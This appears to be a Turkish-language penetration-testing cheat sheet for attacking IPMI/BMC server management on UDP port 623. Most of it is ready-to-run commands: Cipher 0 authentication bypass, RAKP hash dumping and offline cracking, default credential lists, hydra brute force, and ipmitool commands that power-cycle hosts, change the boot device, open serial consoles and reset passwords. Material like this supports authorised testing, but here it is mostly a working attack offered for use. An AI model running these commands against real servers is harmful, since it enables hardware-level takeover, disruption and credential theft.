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623/UDP - IPMI

network ipmi

IPMI (UDP/623) sunucu BMC out-of-band yönetimidir. Ağdan erişilebilen BMC, Cipher 0 ve zayıf hash ile sıkça credential veya güç kontrolü verir.

  1. UDP/623 ve varsa HTTP/HTTPS BMC arayüzünü doğrula.

  2. Cipher 0 ve anonymous/null auth dene.

  3. RAKP hash dump alıp offline kır.

  4. Geçerli kimlikle power/boot/SOL ve pivot kanıtı üret.

Terminal window
nmap -Pn -sU -p623 -sV --script ipmi-version,ipmi-cipher-zero TARGET
Terminal window
nmap -Pn -p80,443,623,5900,5120 -sV TARGET
Terminal window
msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_version; set RHOSTS TARGET; run; exit"
Terminal window
msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_cipher_zero; set RHOSTS TARGET; run; exit"
Terminal window
ipmitool -I lanplus -C 0 -H TARGET -U ADMIN -P ADMIN chassis status
Cipher 0 = auth bypass benzeri zayıf kanal (birçok eski BMC)
Terminal window
msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS TARGET; run; exit"
Terminal window
hashcat -m 7300 ipmi.hashes rockyou.txt
Terminal window
john --format=rakp ipmi.hashes --wordlist=rockyou.txt
ADMIN:ADMIN
admin:admin
root:root
root:calvin
ADMIN:(boş)
Terminal window
ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN user list
Terminal window
ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN chassis status
Terminal window
ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN power status
Terminal window
ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN sol activate
Terminal window
ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN chassis bootdev pxe
Terminal window
ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN power cycle
Terminal window
curl -skI https://TARGET/
Terminal window
hydra -L users.txt -P rockyou.txt https-get://TARGET/
Terminal window
nuclei -u https://TARGET -tags iom,bmc,ipmi
- Host power off/on
- Boot media değiştirme
- SOL ile OS öncesi erişim
- BMC credential → fleet-wide reuse
Terminal window
ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN user set password 2 'NewP@ss'
[ ] UDP/623 fingerprint
[ ] Cipher 0 denendi
[ ] RAKP hash dump + crack
[ ] Default creds / geçerli oturum
[ ] SOL veya power etkisi kanıtlandı